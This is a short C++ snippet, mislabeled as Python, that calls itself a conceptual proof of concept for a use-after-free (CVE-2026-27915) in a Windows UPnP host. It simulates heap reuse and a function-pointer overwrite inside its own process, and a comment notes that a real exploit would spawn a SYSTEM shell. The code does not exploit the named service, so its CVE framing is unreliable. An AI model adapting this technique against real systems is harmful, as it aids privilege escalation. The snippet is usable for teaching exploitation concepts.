The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <iostream>
// Proof of Concept for CVE-2026-27915 (Conceptual)
// This code simulates the logic to trigger a Use-After-Free in UPnP Host.
// Simulated vulnerable structure
struct VulnerableObject {
int id;
void (*callback)(void);
};
// Malicious payload to be executed after UAF
void MaliciousCallback() {
std::cout << "[+] Privilege Escalation Code Executed!" << std::endl;
// In a real exploit, this would spawn a SYSTEM shell
}
void ExploitUAF() {
// Step 1: Allocate the object
VulnerableObject* obj = (VulnerableObject*)HeapAlloc(GetProcessHeap(), 0, sizeof(VulnerableObject));
obj->id = 1;
obj->callback = nullptr;
std::cout << "[*] Object allocated at: " << obj << std::endl;
// Step 2: Trigger the free (Vulnerability Trigger)
// In the real vulnerability, the UPnP service frees this object improperly
HeapFree(GetProcessHeap(), 0, obj);
std::cout << "[*] Object freed." << std::endl;
// Step 3: Reallocate/Heap Spray to control the memory
// Allocating memory of similar size to occupy the freed slot
void* fake_obj = HeapAlloc(GetProcessHeap(), 0, sizeof(VulnerableObject));
memset(fake_obj, 0x41, sizeof(VulnerableObject)); // Fill with 'A'
// Overwrite the function pointer with our malicious address
((VulnerableObject*)fake_obj)->callback = MaliciousCallback;
std::cout << "[*] Memory reclaimed with controlled payload." << std::endl;
// Step 4: Use after free
// The vulnerable code tries to use the dangling pointer (obj) again
// In this simulation, we reuse the pointer pointing to our fake object
if (obj != nullptr && ((VulnerableObject*)obj)->callback != nullptr) {
((VulnerableObject*)obj)->callback();
}
}
int main() {
std::cout << "[*] Starting PoC for CVE-2026-27915..." << std::endl;
ExploitUAF();
return 0;
}